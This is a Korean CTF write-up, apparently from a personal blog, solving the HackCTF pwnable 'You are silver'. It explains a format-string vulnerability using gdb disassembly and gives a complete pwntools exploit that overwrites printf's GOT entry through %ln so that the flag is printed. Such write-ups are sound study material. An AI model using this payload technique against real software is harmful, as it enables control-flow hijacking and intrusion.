Wargame/HackCTF

[Pwnable] You are silver

210_ 2020. 1. 8. 23:30

들어가며

이번 문제는 fsb를 통해 푸는 문제이다. 이 문제를 통해서 fsb의 감을 어느정도 익힌 것 같다.

 

문제해석

이 문제는 다음과 같이 문자를 입력받고 <get_tier>라는 함수의 반환값을 인자로 printf 함수를 호출한다.

<get_tier>에서 반환값은 0x1~0x5이기 때문에 printf함수에서 segmentation fault가 일어난다.

gdb-peda$ pd
Dump of assembler code for function main:
...
   0x0000000000400848 <+64>:    lea    rax,[rbp-0x30]
   0x000000000040084c <+68>:    mov    esi,0x2e
   0x0000000000400851 <+73>:    mov    rdi,rax
   0x0000000000400854 <+76>:    call   0x4005c0 <fgets@plt>
...
   0x000000000040086f <+103>:   call   0x400777 <get_tier>
...
   0x000000000040087c <+116>:   mov    rdi,rax
   0x000000000040087f <+119>:   mov    eax,0x0
   0x0000000000400884 <+124>:   call   0x4005b0 <printf@plt>
...

 

이때, fsbprintf 함수의 인자가 다음과 같이 1개이기 때문에 발생한다.

gdb-peda$ pd
Dump of assembler code for function main:
...
   0x0000000000400859 <+81>:    lea    rax,[rbp-0x30]
   0x000000000040085d <+85>:    mov    rdi,rax
   0x0000000000400860 <+88>:    mov    eax,0x0
   0x0000000000400865 <+93>:    call   0x4005b0 <printf@plt>
...

 

그러므로, fsb를 통하여 printf함수의 주소를 <play_game>이라는 함수로 바꿔주면 될것이다.

<play_game>함수는 <get_tier>에서 반환된 값이 0x4일 경우, system("cat ./flag")를 해준다.

<get_tier>에서 반환값이 0x4가 나오려면, main에서 [rbp-0x4]값이 0x4b('K') 이상이어야 한다.

 

풀이

그러므로 fsb를 행하여 offset을 찾는 것이 첫번째이다.

root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# ./you_are_silver
Please enter your name
AAAAAAAA %6$p
AAAAAAAA 0x4141414141414141

You are silver.
세그멘테이션 오류 (core dumped)
root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)#

offset6이며, 이제 payload를 짜면 다음과 같다.

 

exploit.py

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3022)
e = ELF('./you_are_silver')

printf_got = e.got['printf']
play_game = 0x4006d7	# 4196055

# offset 6
payload = ''
payload += '%{}c'.format(play_game)         	# duplicate source
payload += '%8$ln'                          		# offset + (len(payload) / 8)
payload += '\x00' * (8 - len(payload) % 8)  	# padding
#print(len(payload))                        		# 16
payload += p64(printf_got)                  		# duplicate target
payload += 'L'*(46-len(payload))            		# make challenger

r.sendlineafter('\n', payload)
r.interactive()